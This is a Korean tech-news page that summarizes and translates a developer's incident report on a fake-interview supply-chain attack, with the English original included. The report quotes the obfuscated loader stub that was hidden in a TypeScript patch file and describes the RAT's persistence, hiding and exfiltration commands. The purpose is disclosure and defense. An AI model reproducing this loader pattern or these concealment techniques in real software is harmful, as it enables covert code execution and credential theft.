메뉴
HN
Hacker News 32일 전

실패한 (국가 지원?) 해킹 공격의 해부

IMP
7/10
핵심 요약

오픈소스 개발자를 겨냥해 가짜 채용 면접으로 접근한 정교한 공급망(supply chain) 해킹 시도의 전말을 다룬 사례 분석입니다. 공격자는 TypeScript 저장소에 악성 패치 파일을 숨겨 기기에 백도어를 심으려 했으나, AI 모델(Claude)을 활용한 코드 분석으로 악성 페이로드(PinpinRAT)가 조기에 발견되어 공격에 실패했습니다.

번역된 본문

정보 공개 🧠 이 글은 순수하게 인간이 작성했습니다(IoC 정보는 제외). 시간이 촉박했기 때문에 RAT(원격 접속 트로이목마) 분석을 가속화하고 IoC 탐지 스크립트를 구축하는 데 Claude를 사용했습니다. 저는 캐나다에 거주하고 있으므로 이 정보는 적절한 캐나다 기관(CCCS 등)에 보고되었습니다. 악성 페이로드가 포함된 이미지는 VirusTotal의 어떤 안티바이러스 엔진도 트리거하지 않습니다. 공격자의 신원은 허구이지만, 혼동될 수 있는 동일한 이름의 무고한 개인이 있어 이 글에서는 이름을 제외했습니다. Reddit에는 Rust 커뮤니티에서 자신들도 표적이 되었다고 언급한 다른 사람들이 몇 명 있습니다.

이번 주에 저는 제 기기에 백도어를 식하려 고안된 가짜 면접 사기와 매우 가까이 접촉했으며, 이메일의 맥락을 보아 제 crates.io 패키지도 노려졌다고 추측합니다. 참고: 저는 내부 문자열 중 일부 때문에 이를 "PinpinRAT"라고 부르지만, 온라인에는 다른 이름으로 존재할 수도 있습니다. 온라인에서는 이에 대한 다른 참조를 찾을 수 없었습니다.

일주일 반 전, 저는 DeFi 분야의 싱가포르 기반 VC(당시에는 몰랐지만 이미 폐업한 상태)인 Lua Ventures에서 왔다고 주장하는 "D█████ S████"로부터 이메일를 받았습니다. 분명히 말씀드리자면, 이것은 조작된 인물입니다. 이 이름은 여러 실존 인물과 쉽게 혼동되도록 선택되었을 가능성이 높습니다. 이메일은 진짜처럼 보였고, 다소 지루하지만 합법적으로 보이는 LinkedIn 프로필 링크도 포함되어 있었습니다. 공격자는 자문(Advisory)을 적극적으로 찾고 있는 그들의 투자사 두 곳인 Lyrasing과 Roadpay를 언급하기까지 했습니다. 두 회사를 검색하는 것은 별다른 의심의 원인이 되지 않았습니다. 두 회사 모두 매우 기본적인 웹사이트를 가지고 있었지만, 초기 단계의 스타트업일 뿐 가짜라고 판단할 만한 증거는 없었습니다(roadpay.cc의 archive.org 스냅샷).

우리는 미팅 시간을 두고 이메일을 주고받다가 결국 대화할 시간을 정했습니다. 전화 통화 자체도 이상한 점이 없었습니다. 독일 억양을 가진 알아듣기 다소 어려운 남자가 전화 너머에 있었습니다. 그는 여행 중에 전화를 받고 있다고 말했는데 약간 이상했지만, 이것 역시 반드시 의심해야 할 신호는 아니었습니다.

통화 후에 미끼가 나왔습니다. 후속 이메일을 통해 "테스트"를 제안했습니다. 이쯤 되자 저는 약간 짜증이 났지만, 의심하진 않았습니다. 리포지토리를 클론했지만, 첫 번째 진짜 위험 신호(Red Flag)는 여기서 발생했습니다.

제가 운이 좋았던 이유: 그들이 저에게 TypeScript 리포지토리를 보냈다는 점입니다. 이것은 제게 전혀 말이 되지 않았습니다. 안내 사항은 아키텍처 분석이라기보다는 TypeScript 직무 면접처럼 보였습니다. 신중함과 약간의 게으름을 섞어 리포지토리를 압축해서 Claude에 던져 넣고 빠르게 스캔해보기로 했습니다. 몇 순간 후, Claude는 몇 가지 기이한 점을 식별했습니다.

눈에 띄는 점은, 루트 package.json에 postinstall/preinstall 훅이 없다는 것입니다. 이는 흥미로운 부분인데, 왜냐하면 그들이 patch-package를 사용하고 있었기 때문입니다(일반적으로 postinstall에 연결됨). 모든 package.json에서 라이프사이클 스크립트를 확인하고 패치 파일(실제 위험 영역 - 패치는 node_modules에 임의의 코드를 주입할 수 있음)을 감사해 보겠습니다.

이는 제 흥미를 자극했습니다. 디렉터리를 직접 스캔해보니 상당히 비합리적인 수의 patches/ 디렉터리를 발견했습니다. 제가 확인한 처음 몇 개는 무해해 보였지만, 짐작하시겠지만, 이들은 진짜 페이로드가 적발되지 않도록 노이즈(방해물)를 추가하려는 것뿐이었습니다.

packages/electron-benchmarks/patches/sumchecker+3.0.1.patch packages/electron-benchmarks/patches/@electron+get+2.0.3.patch packages/electron-benchmarks/patches/extract-zip+2.0.1.patch

제가 천천히 수동으로 확인하는 동안, Claude는 PinpinRAT의 첫 징후를 식별했습니다. 찾았습니다. 이것은 악성 페이로드입니다. typescript+5.9.2.patch 파일에 내장되어 있으며, TypeScript에 대한 루틴한 "모듈 지정자(module specifier)" 패치로 보이는 것 내부에 _tsc.js 및 typescript.js의 맨 위에 주입된 base64-blob 자체 실행 난독화 스텁이 있습니다.

;;(function(r,k){const d=Buffer.from(r,'base64');for(let i=0;i<d.length;i+=1)d[i]^=k;return new Function('require','Buffer','WebAssembly',

원문 보기
원문 보기 (영어)
Disclosures 🧠 This post is fully human-written: all prose with the exception of the IoC information. Because it was time-sensitive, Claude was used to accelerate the RAT analysis and build an IoC-detection script. As I live in Canada, this information was reported to the appropriate Canadian agencies (CCCS et al). The payload-laden image does not trigger any AV engines on VirusTotal . The attacker’s identity is fictitious, but there are uninvolved individuals with the same name that they may be confused for and have been omitted from this piece. On Reddit there’s a few others in the Rust community who mentioned they were targeted as well. This week I came in far-to-close contact with a fake-interview scam designed to backdoor my machine, and from the context of the emails, I assume my packages on crates.io . Note: I’m calling it the “PinpinRAT” because of some of the internal strings, but it’s possible this has another name out there. I couldn’t find any other references to it online. A week and a half ago I received an email from “D█████ S████” claiming to be from Lua Ventures, a (unbeknownst to me at the time) defunct Singapore-based VC in the DeFi space. To be clear: this is a fabricated persona , and the name was likely chosen to be easily mistaken for one of a number of real people with the name. It looked like a real email, including a link to a somewhat boring, but legitimate-looking LinkedIn profile. The attacker even name-dropped two of their investments that were specifically looking for advisory work: Lyrasing and Roadpay. Searching for either of the companies wasn’t really a flag - they both had some very basic web presense, but nothing that would indicate they were fake rather than just early stage . (archive.org snapshot of roadpay.cc) . We went back and forth on a meeting time and eventually settled on a time we were going to chat. There was nothing odd about the call itself, either. A somewhat-difficult-to-understand man with a German accent was on the other line. He said he was taking the call while travelling which was a bit odd, but again, not necessarily a flag. After the call came the bait. A follow-up email that offered up a “test”. At this point I was mildly annoyed, but not suspicious. I cloned the repo, but the first true red flag only fired here. Where I got lucky: they sent me a TypeScript repo. It didn’t make sense to me. The instructions looked more like a TypeScript job interview than any sort of architecture analysis. I decided to zip up the repo and toss it into the Claude to get a quick scan - a combination of caution and laziness. A few moments later it had identified some oddities: Notably, the root package.json has no postinstall/preinstall hook — interesting, because they use patch-package, which is normally wired to a postinstall. Let me check every package.json for lifecycle scripts, then audit the patch files (the real risk surface — patches can inject arbitrary code into node_modules). That piqued my interest. I scanned the directories myself and noticed a fairly unreasonable number of patches/ directories. The first few I checked seemed innocent enough, but as you might have guessed, they were just trying to add noise so the real payload wouldn’t get caught. packages/electron-benchmarks/patches/sumchecker+3.0.1.patch packages/electron-benchmarks/patches/@electron+get+2.0.3.patch packages/electron-benchmarks/patches/extract-zip+2.0.1.patch While I was checking slowly by hand, Claude identified first signs of PinpinRAT: I found it. This is a malicious payload. Embedded in the typescript+5.9.2.patch file — inside what is presented as a routine “module specifier” patch to TypeScript — there is a base64-blob self-executing obfuscation stub injected at the very top of both _tsc.js and typescript.js : ;;( function ( r , k ){ const d = Buffer . from ( r , ' base64 ' ); for ( let i = 0 ; i < d . length ; i += 1 ) d [ i ] ^= k ; return new Function ( ' require ' , ' Buffer ' , ' WebAssembly ' , ' process ' , ' __dirname ' , d . toString ( ' utf8 ' ))( require , Buffer , WebAssembly , process , __dirname )})( " YWFg... " , 73 ) /*12ff4b51*/ void " ticket-harbor-tsc-shim-anchor " ; This decodes a base64 string, XOR-decrypts every byte with the key 73, and runs the result through new Function(…) with require, process, Buffer, etc. handed in. That is a hidden code-execution payload that fires every time tsc or anything importing typescript.js runs — i.e. on the very first npm run typecheck / build / dev. … and that’s the point where I decided to stop poking the bear on my own machine. I zipped it up with a password to stop myself from accidentally detonating it and kept running the analysis in the sandbox. The Trap The repo is themed as a ferry-ticketing app named “Ticket Harbor”. The task.txt included in the bundle was a plausible set of boring tasks, but ended with: Run the repo typecheck, test suite, and relevant desktop/server build commands before submitting. That instruction is the trap that gets you. The chain works like this: Four separate postinstall hooks run patch-package . But one of them also runs git update-index --skip-worktree on the patch files, which hides them from git status . The typescript+5.9.2.patch injects a self-executing stub at the top of typescript.js and _tsc.js . This is a lightly-obfuscated blob fed into new Function(...) (avoiding eval , presumably to avoid malware detection). That loader reads a hidden chunk appended to a file named operators/3.png , runs a small embedded WASM stub (in a custom wAsm chunk), then spawns a detached, silent Node process carrying a 1.68 MB obfuscated second-stage payload. It cleans up after itself at three layers: the git skip-worktree trick, the dropper rewrites the patch to delete its own injected lines after first run, and the stage-2 temp directory self-deletes on execution. The actual payload is a RAT (a remote-access trojan). I was originally worried this was a credential stealer but that’s a lot worse. PinpinRAT is nested in three obfuscated layers which were a pain to unwrap: obfuscator.io (which claims LLM protection, hah), and two further base64 layers. What it drops In the interest of 1) quickly sharing this info and 2) not accidentally detonating malware on my own machines, I let Claude tear apart the actual trojan in its sandbox and had it describe it to me. To be absolutely clear: Claude was able to reverse engineer multiple levels of obfuscation over about 5 minutes of work, which is far faster than I could have. The drop is a full remote-access trojan that seems to have been put together by someone who knows what they are doing. It sets up an RSA key locally and uses AES-256-CBC as a session key. On startup it calls a checkin routine that harvests and exfiltrates a host fingerprint: primary IP address (enumerates all non-internal interfaces), plus all IPs username ( os.userInfo().username ) hostname OS type + release + platform + architecture process PID and full process.argv Node version It generates an RSA-2048 keypair and a random AES-256 session key (aes_psk), then all subsequent traffic is AES-256-CBC encrypted with an HMAC-SHA256 integrity tag. It supports the following commands: env — JSON.stringify(process.env) dumped and sent back. upload — reads an arbitrary file path and exfiltrates it. download — writes attacker-supplied bytes to any writable path. spawn — runs an arbitrary process with optional shell expansion. ls / cd / pwd / cp / mv — general filesystem primitives. dns — makes the host resolve arbitrary names through a specified resolver (for DNS tunneling?). dismantle — self-removal. Indicators of Compromise If you ended up running one of these, you should immediately disconnect your system from the network and rotate your credentials from another machine. Remediation should be straightforward, but consider your credentials (including cookies and password-protected secrets) compromised. These are some indicators of compromise